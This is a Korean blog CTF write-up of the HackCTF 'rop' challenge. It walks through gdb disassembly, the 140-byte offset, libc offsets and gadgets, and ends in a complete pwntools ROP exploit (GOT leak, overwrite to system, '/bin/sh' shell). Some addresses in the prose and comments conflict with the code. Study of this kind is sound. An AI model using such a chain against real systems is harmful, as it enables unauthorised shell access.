728x90
반응형
오늘은 hackctf의 rop문제를 풀어볼 것이다.
떡하니 rop라고 되어 있으니 그냥 기본적인 rop 문제일 것같다.
그러면 먼저 main을 디스어셈블 해보자.
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <+0>: lea ecx,[esp+0x4]
0x08048474 <+4>: and esp,0xfffffff0
0x08048477 <+7>: push DWORD PTR [ecx-0x4]
0x0804847a <+10>: push ebp
0x0804847b <+11>: mov ebp,esp
0x0804847d <+13>: push ecx
0x0804847e <+14>: sub esp,0x4
0x08048481 <+17>: call 0x804844b <vulnerable_function>
0x08048486 <+22>: sub esp,0x4
0x08048489 <+25>: push 0xe
0x0804848b <+27>: push 0x8048530
0x08048490 <+32>: push 0x1
0x08048492 <+34>: call 0x8048340 <write@plt>
0x08048497 <+39>: add esp,0x10
0x0804849a <+42>: mov eax,0x0
0x0804849f <+47>: mov ecx,DWORD PTR [ebp-0x4]
0x080484a2 <+50>: leave
0x080484a3 <+51>: lea esp,[ecx-0x4]
0x080484a6 <+54>: ret
End of assembler dump.
먼저 vulnerable_function 있는걸 확인했고, write@plt 즉 아까 hello world를 출력하는 것인걸 알 수 있다.
그러면 vulnerable_function을 디스어셈블 해보자.
(gdb) disas vulnerable_function
Dump of assembler code for function vulnerable_function:
0x0804844b <+0>: push ebp
0x0804844c <+1>: mov ebp,esp
0x0804844e <+3>: sub esp,0x88
0x08048454 <+9>: sub esp,0x4
0x08048457 <+12>: push 0x100
0x0804845c <+17>: lea eax,[ebp-0x88]
0x08048462 <+23>: push eax
0x08048463 <+24>: push 0x0
0x08048465 <+26>: call 0x8048310 <read@plt>
0x0804846a <+31>: add esp,0x10
0x0804846d <+34>: nop
0x0804846e <+35>: leave
0x0804846f <+36>: ret
End of assembler dump.
여기서 처음에 받는 read를 콜한다.
그러면 입력받는 buf부터 ret전까지의 바이트 수를 구해보자.
vulnerable_functionr하고 read@plt를 브레이크를 걸고 아래의 명령어로 구한다.
(gdb) b * vulnerable_function
Breakpoint 2 at 0x804844b
(gdb) b *0x08048465
Breakpoint 3 at 0x8048465
(gdb) r
Starting program: /home/psj/hackctf/rop./rop
Breakpoint 2, 0x0804844b in vulnerable_function ()
(gdb) i r esp
esp 0xffffd01c 0xffffd01c
(gdb) c
Continuing.
Breakpoint 3, 0x08048465 in vulnerable_function ()
(gdb) i r esp
esp 0xffffcf80 0xffffcf80
(gdb) x/3wx 0xffffcf80
0xffffcf80: 0x00000000 0xffffcf90 0x00000100
(gdb) p/d 0xffffd01c-0xffffcf90
$1 = 140
140byte를 넣고 rop를 하면 된다.
이제 어떤식으로 쉘을 딸 수 있을지 대략 코드를 짜보았다.
write(1,read_got,len(str(read_got))) -- read함수의 주소를 leak한다
read(0,.bss,len(str(binsh))) -- .bss에 /bin/sh 문자열을 저장
read(0,write_got,len(str(system_addr))) -- read주소로 system주소를 구한후 write@got에 저장
write(.bss,,)
위처럼 하면 마지막에 write_got가 실행되면서 쉘 획득에 성공할 것이다.
이제 read, system offset을 구해보자.
아래의 명령어로 구한다.
$gdb -q libc.so.6
Reading symbols from libc.so.6...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/psj/hackctf/rop./libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
[Inferior 1 (process 33373) exited normally]
(gdb) p/x read-system
$1 = 0x99a10
offset : 0x99a10
이제 bss를 확인하자.
$objdump -h ./rop
./rop: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048154 08048154 00000154 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048168 08048168 00000168 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 08048188 08048188 00000188 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.hash 00000020 080481ac 080481ac 000001ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynsym 00000060 080481cc 080481cc 000001cc 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynstr 00000050 0804822c 0804822c 0000022c 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version 0000000c 0804827c 0804827c 0000027c 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version_r 00000020 08048288 08048288 00000288 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.dyn 00000008 080482a8 080482a8 000002a8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rel.plt 00000020 080482b0 080482b0 000002b0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 00000023 080482d0 080482d0 000002d0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000050 08048300 08048300 00000300 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .text 000001c2 08048350 08048350 00000350 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .fini 00000014 08048514 08048514 00000514 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .rodata 00000017 08048528 08048528 00000528 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .eh_frame_hdr 00000034 08048540 08048540 00000540 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame 000000ec 08048574 08048574 00000574 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .init_array 00000004 08049f08 08049f08 00000f08 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .fini_array 00000004 08049f0c 08049f0c 00000f0c 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 08049f10 08049f10 00000f10 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000e8 08049f14 08049f14 00000f14 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049ffc 08049ffc 00000ffc 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 0000001c 0804a000 0804a000 00001000 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .data 00000008 0804a01c 0804a01c 0000101c 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .bss 00000004 0804a024 0804a024 00001024 2**0
ALLOC
25 .comment 00000052 00000000 00000000 00001024 2**0
CONTENTS, READONLY
.bss는 0x0804a024이다.
마지막으로 pppr gadget을 찾아보자.
gdb-peda$nropgadget
ret = 0x80482da
popret = 0x80482f1
pop4ret = 0x8048508
pop2ret = 0x804850a
pop3ret = 0x8048509
addesp_12 = 0x80482ee
addesp_16 = 0x80483b5
pppr 가젯은 0x8049509이다.
이제 exploit code를 만들어보자.
from pwn import *
#context.log_level = 'debug'
#r = process('./rop')
e = ELF("./rop")
r = remote("ctf.j0n9hyun.xyz",3021)
binsh = b"/bin/sh\x00"
read_plt = e.plt["read"] #0x80483f0
read_got = e.got["read"] #0x804a00c
write_plt = e.plt["write"] #0x8048450
write_got = e.got["write"] #0x804a024
read_system_offset = 0x99a10
#read_system_offset = 0x99a10
writableArea = 0x0804a024
pppr = 0x8048509
print(hex(read_plt))
print(hex(read_got))
print(hex(write_plt))
print(hex(write_got))
# read_orig : payload 1.read : store input in bss 2.read : store input in read_got
# write_orig : A * 140 1.write : leak read address
payload = b"A"*140
#write(1,read_got,len(str(read_got))) -- leak read func
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
#read(0,writableArea,len(str(binsh))) -- store /bin/sh in bss
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0) # 1 argv
payload += p32(writableArea) # 2 argv
payload += p32(8) # 3 agrv
#read(0,read_got,len(str(read_got))) -- store system addr in got
payload += p32(read_plt)
payload += p32(pppr) # 3 ppp , argv 3
payload += p32(0) # 1 argv
payload += p32(write_got) # 2 argv
payload += p32(4) # 3 argv
#system(writableArea)
payload += p32(write_plt)
payload += p32(0xdeadbeef)
payload += p32(writableArea)
r.send(payload)
#r.send(binsh)
read = u32(r.recv(4))
system_addr = read - read_system_offset
print("read address : " + hex(read))
print("system address : "+hex(system_addr))
r.send(binsh) # first read input
r.send(p32(system_addr)) # second read input
r.interactive()
위의 스크립트를 실행하면 아래처럼 쉘 획득에 성공한걸 알수 있다.
728x90
반응형
'워게임' 카테고리의 다른 글
Dreamhack - web-misconf-1 (0) | 2021.07.29 |
---|---|
Dreamhack - basic_exploitation_002 (0) | 2021.07.28 |
HackCTF - BOF_Basic #1 (0) | 2021.07.27 |
Shellcode(쉘코드) 모음 (0) | 2021.07.27 |
HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.27 |